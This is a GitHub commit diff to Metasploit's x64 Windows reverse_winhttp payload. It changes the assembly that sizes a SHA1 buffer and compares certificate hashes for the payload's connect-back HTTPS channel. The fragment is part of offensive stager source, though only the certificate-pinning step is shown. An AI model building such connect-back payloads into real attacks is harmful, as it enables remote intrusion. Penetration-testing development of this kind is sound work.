Skip to content

Commit e99d885

Browse files
committed
Final work on reverse_winhttps
1 parent 68eadd9 commit e99d885

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

lib/msf/core/payload/windows/x64/reverse_winhttp.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -383,7 +383,7 @@ def asm_reverse_winhttp(opts={})
383383
384384
ssl_cert_get_server_hash:
385385
mov rcx, [r14] ; Cert context pointer (pCertContext)
386-
push 32 ; sha1 length, rounded to multiple of 16
386+
push 24 ; sha1 length, rounded to multiple of 8
387387
mov r9, rsp ; Address of length (pcbData)
388388
mov r15, rsp ; Backup address of length
389389
sub rsp, [r9] ; Allocate 20 bytes for the hash output
@@ -402,12 +402,12 @@ def asm_reverse_winhttp(opts={})
402402
403403
ssl_cert_compare_hashes:
404404
pop rax ; get the expected hash
405-
xchg rax, rsi ; swap hash and handle for now
405+
xchg rax, rsi ; swap hash and handle for now
406406
mov rdi, r14 ; pointer to the retrieved hash
407407
mov rcx, [r15] ; number of bytes to compare
408408
repe cmpsb ; do the hash comparison
409409
jnz failure ; Bail out if the result isn't zero
410-
xchg rax, rsi ; swap hash and handle back!
410+
xchg rax, rsi ; swap hash and handle back!
411411
412412
; Our certificate hash was valid, hurray!
413413
^

0 commit comments

Comments
 (0)